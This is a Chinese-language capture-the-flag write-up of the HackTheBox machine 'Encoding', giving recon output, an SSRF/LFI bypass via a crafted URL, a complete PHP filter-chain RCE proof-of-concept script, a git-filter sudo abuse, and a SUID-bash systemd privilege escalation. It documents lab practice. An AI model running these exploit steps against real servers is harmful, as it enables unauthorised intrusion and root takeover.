前言 这台机子打了好多天终于成功get root,打起来收获满满,在这里做个详细的记录。目前还是Active的机子,仅作记录,师傅们别举报我-。-
get shell nmap扫描结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ┌──(root㉿kali)-[/home/rainb0w/Desktop] └─# nmap -sS -sV -sC -A -p- --min-rate 5000 10.10.11.198 Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-24 23:45 EST Nmap scan report for 10.10.11.198 (10.10.11.198) Host is up (0.26s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA) |_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: HaxTables |_http-server-header: Apache/2.4.52 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=2/24%OT=22%CT=1%CU=41355%PV=Y%DS=2%DC=T%G=Y%TM=63F992A OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST1 OS:1NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN OS:(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 199/tcp) HOP RTT ADDRESS 1 263.34 ms 10.10.14.1 (10.10.14.1) 2 263.50 ms 10.10.11.198 (10.10.11.198) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 46.74 seconds
老样子,linux机器开启22和80端口。gobuster扫描目录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ┌──(root㉿kali)-[/home/rainb0w/Desktop] └─# gobuster dir -u http://10.10.11.198/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 200 -x php =============================================================== Gobuster v3.4 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.11.198/ [+] Method: GET [+] Threads: 200 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.4 [+] Extensions: php [+] Timeout: 10s =============================================================== 2023/02/24 23:49:04 Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 200) [Size: 1999] /.php (Status: 403) [Size: 277] /assets (Status: 301) [Size: 313] [--> http://10.10.11.198/assets/] /includes (Status: 301) [Size: 315] [--> http://10.10.11.198/includes/] /handler.php (Status: 200) [Size: 38] /.php (Status: 403) [Size: 277]
接着进入站点,发现此处存在子域:
写入到hosts:
接着尝试爆破子域:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ┌──(root㉿kali)-[/home/rainb0w/Desktop] └─# ffuf -H "HOST:FUZZ.haxtables.htb" -u http://haxtables.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -t 50 -fw "246" /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.5.0 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://haxtables.htb :: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt :: Header : Host: FUZZ.haxtables.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 50 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response words: 246 ________________________________________________ api [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1022ms] image [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 263ms] :: Progress: [19966/19966] :: Job [1/1] :: 187 req/sec :: Duration: [0:01:52] :: Errors: 0 :
一并写入到hosts中。尝试访问image.haxtables.htb显示403:
接着我们继续查看api文档,注意此处:
猜测此处存在SSRF,先尝试在本地放置一个1.txt并执行如下python程序查看结果:
结果如下所示:
发现成功读取,那我们解码一下即可得到/etc/passwd的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ┌──(root㉿kali)-[/home/rainb0w/Desktop] └─# echo $(python3 1.py|jq ".data") > 2.txt && xxd -r -p 2.txt root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin pollinate:x:105:1::/var/cache/pollinate:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin syslog:x:107:113::/home/syslog:/usr/sbin/nologin uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin svc:x:1000:1000:svc:/home/svc:/bin/bash lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin _laurel:x:998:998::/var/log/laurel:/bin/false
尝试读取一下刚刚爆破出来的php文件,即index.php和handler.php,index.php内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta http-equiv="X-UA-Compatible" content="IE=edge" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>HaxTables</title> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1" > <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css" > <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js" ></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js" ></script> <link rel="stylesheet" href="assets/css/main.css" > <script src="./assets/js/main.js" ></script> </head> <body> <h1 align="center" >HaxTables</h1> <br><br> <div class ="container "> <nav class ="navbar navbar -inverse "> <div class ="container -fluid "> <div class ="navbar -header "> <a class ="navbar -brand " href ="/">HaxTables </a > </div > <ul class ="nav navbar -nav "> <li class ="active "><a href ="/">Home </a ></li > <li class ="dropdown "><a class ="dropdown -toggle " data -toggle ="dropdown " href ="#">Convertions <span class ="caret "></span ></a > <ul class ="dropdown -menu "> <li ><a href ="/index .php ?page =string ">String </a ></li > <li ><a href ="/index .php ?page =integer ">Integer </a ></li > <li ><a href ="/index .php ?page =image ">Images </a ></li > </ul > </li > <li ><a href ="#">About us </a ></li > <li ><a href ="/index .php ?page =api ">API </a ></li > </ul > </div > </nav > <?php if (isset ($_GET ['page '])) { $page = $_GET ['page' ]; if ($page === 'integer' ) { include ('./includes/integer.html' ); } else if ($page === 'string' ) { include ('./includes/string.html' ); } else if ($page === 'image' ) { include ('./includes/image.html' ); } else if ($page === 'api' ) { include ('./includes/api.html' ); } else { include ('./includes/index.html' ); } } else { include ('./includes/index.html' ); } ?> </div> </body> </html>
一些简单业务处理,那查看一下handler.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include_once '../api/utils.php' ;if (isset ($_FILES ['data_file' ])) { $is_file = true ; $action = $_POST ['action' ]; $uri_path = $_POST ['uri_path' ]; $data = $_FILES ['data_file' ]['tmp_name' ]; } else { $is_file = false ; $jsondata = json_decode (file_get_contents ('php://input' ), true ); $action = $jsondata ['action' ]; $data = $jsondata ['data' ]; $uri_path = $jsondata ['uri_path' ]; if ( empty ($jsondata ) || !array_key_exists ('action' , $jsondata ) || !array_key_exists ('uri_path' , $jsondata )) { echo jsonify (['message' => 'Insufficient parameters!' ]); } } $response = make_api_call ($action , $data , $uri_path , $is_file );echo $response ;?>
可以看到这里包含了../api/utils.php文件,也读取一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php function jsonify ($body , $code = null ) { if ($code ) { http_response_code ($code ); } header ('Content-Type: application/json; charset=utf-8' ); echo json_encode ($body ); exit ; } function get_included_contents ($filename ) { ob_start (); include $filename ; return ob_get_clean (); } function get_url_content ($url ) { $domain = parse_url ($url , PHP_URL_HOST); if (gethostbyname ($domain ) === "127.0.0.1" ) { jsonify (["message" => "Unacceptable URL" ]); } $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch ,CURLOPT_CONNECTTIMEOUT,2 ); curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, 0 ); curl_setopt ($ch ,CURLOPT_RETURNTRANSFER,1 ); $url_content = curl_exec ($ch ); curl_close ($ch ); return $url_content ; } function make_api_call ($action , $data , $uri_path , $is_file = false ) { if ($is_file ) { $post = [ 'data' => file_get_contents ($data ), 'action' => $action , 'uri_path' => $uri_path ]; } else { $post = [ 'data' => $data , 'action' => $action , 'uri_path' => $uri_path ]; } $ch = curl_init (); $url = 'http://api.haxtables.htb' . $uri_path . '/index.php' ; curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch ,CURLOPT_CONNECTTIMEOUT,2 ); curl_setopt ($ch , CURLOPT_PROTOCOLS, CURLPROTO_HTTP); curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, 0 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); curl_setopt ($ch , CURLOPT_POSTFIELDS, json_encode ($post )); curl_setopt ( $ch , CURLOPT_HTTPHEADER, array ('Content-Type:application/json' )); $response = curl_exec ($ch ); curl_close ($ch ); return $response ; } ?>
在handler.php中调用了utils.php中的make_api_call对POST传入的参数进行了处理,重点查看make_api_call函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 function make_api_call ($action , $data , $uri_path , $is_file = false ) { if ($is_file ) { $post = [ 'data' => file_get_contents ($data ), 'action' => $action , 'uri_path' => $uri_path ]; } else { $post = [ 'data' => $data , 'action' => $action , 'uri_path' => $uri_path ]; } $ch = curl_init (); $url = 'http://api.haxtables.htb' . $uri_path . '/index.php' ; curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch ,CURLOPT_CONNECTTIMEOUT,2 ); curl_setopt ($ch , CURLOPT_PROTOCOLS, CURLPROTO_HTTP); curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, 0 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); curl_setopt ($ch , CURLOPT_POSTFIELDS, json_encode ($post )); curl_setopt ( $ch , CURLOPT_HTTPHEADER, array ('Content-Type:application/json' )); $response = curl_exec ($ch ); curl_close ($ch ); return $response ; }
$uri_path拼接到$url中,将post传入的参数传入到拼接后的url中,并发起请求,返回请求结果。
接着我们再利用这个LFI查看一下image.haxtables.htb中的文件,文件位置在/var/www/image/index.php,文件内容为:
1 2 3 4 5 6 7 <?php include_once 'utils.php' ;include 'includes/coming_soon.html' ;?>
这里包含了utils.php,查看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php function jsonify ($body , $code = null ) { if ($code ) { http_response_code ($code ); } header ('Content-Type: application/json; charset=utf-8' ); echo json_encode ($body ); exit ; } function get_url_content ($url ) { $domain = parse_url ($url , PHP_URL_HOST); if (gethostbyname ($domain ) === "127.0.0.1" ) { echo jsonify (["message" => "Unacceptable URL" ]); } $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP); curl_setopt ($ch , CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS); curl_setopt ($ch ,CURLOPT_CONNECTTIMEOUT,2 ); curl_setopt ($ch ,CURLOPT_RETURNTRANSFER,1 ); $url_content = curl_exec ($ch ); curl_close ($ch ); return $url_content ; } function git_status ( ) { $status = shell_exec ('cd /var/www/image && /usr/bin/git status' ); return $status ; } function git_log ($file ) { $log = shell_exec ('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes ($file ) . '"' ); return $log ; } function git_commit ( ) { $commit = shell_exec ('sudo -u svc /var/www/image/scripts/git-commit.sh' ); return $commit ; } ?>
可以看出image目录下是存在一个.git的,我们可以使用gitdumper.sh 下载.git目录:
1 ./gitdumper.sh http://image.haxtables.htb/.git/ image
下载下来后,看到actions/action_handler.php文件内容如下所示:
这里包含了传入的page参数,如果我们可以传入page参数的话,那么这里将会是一处LFI漏洞。可是我们无法直接进入http://image.haxtables.htb/actions/action\_handler.php,因为界面会返回403。那么这里我们该怎么利用呢?
假设我们将$url_path改为如下内容:
1 a:a@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&test=
那么拼接后的url将会变成:
1 http://api.haxtables.htba:a@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&test=/index.php
我们利用@符号将前面的内容构造成了用户名和密码,真正访问的host变成了image.haxtables.htb,那么就会成功在action_handler.php中传入page参数,实现LFI:
可是仅有LFI似乎对拿到shell并没有什么帮助,这里推荐一下Zedd师傅发布的一篇文章:hxp CTF 2021 - The End Of LFI? 。从最简单的LFI开始,一步步构造php filter chain从而实现RCE,很棒的文章。
假设我们有一个php文件,内容如下:
利用以下POC可成功RCE:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import requestsurl = "http://192.168.135.131/include.php" file_to_use = "include.php" command = "id" base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2' , 'B' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' , 'C' : 'convert.iconv.UTF8.CSISO2022KR' , '8' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' , 'f' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213' , 's' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61' , 'z' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS' , 'U' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' , 'P' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213' , 'V' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5' , '0' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' , 'Y' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2' , 'W' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2' , 'd' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' , 'D' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' , '7' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' , '4' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1 ]: filters += conversions[c] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters} /resource={file_to_use} " r = requests.get(url, params={ "0" : command, "action" : "include" , "file" : final_payload }) print (r.text)
此处RCE的原理,Zedd师傅的那篇文章已经解释的很清楚了,这里就不再赘述。把上面给出的POC稍微改一下,将php filter chain输出出来,然后url编码作为page参数的值传入,并传入参数名为0的参数,值为要执行命令:
可以看到命令被成功执行,那反弹个shell吧:
get user 执行sudo -l,结果如下:
可以以svc用户的身份执行/var/www/image/scripts/git-commit.sh脚本,看以下这个脚本内容:
1 2 3 4 5 6 7 8 9 #!/bin/bash u=$(/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image ls-files -o --exclude-standard) if [[ $u ]]; then /usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image add -A else /usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify fi
通过审计脚本,我们可以滥用ident过滤器来让其执行我们写好的脚本:
1 2 3 4 git init echo '*.php filter=indent' > .git/info/attributesgit config filter.indent.clean /tmp/shell.sh sudo -u svc /var/www/image/scripts/git-commit.sh
user.txt:
get root sudo -l执行结果:
很常见的提权题目,编写/etc/systemd/system/priv.service内容如下:
1 2 3 4 5 6 svc@encoding:~$ cat /etc/systemd/system/priv.service [Service] Type=oneshot ExecStart=chmod u+s /bin/bash [Install] WantedBy=multi-user.target
接着执行sudo systemctl restart priv即可以SUID执行/bin/bash: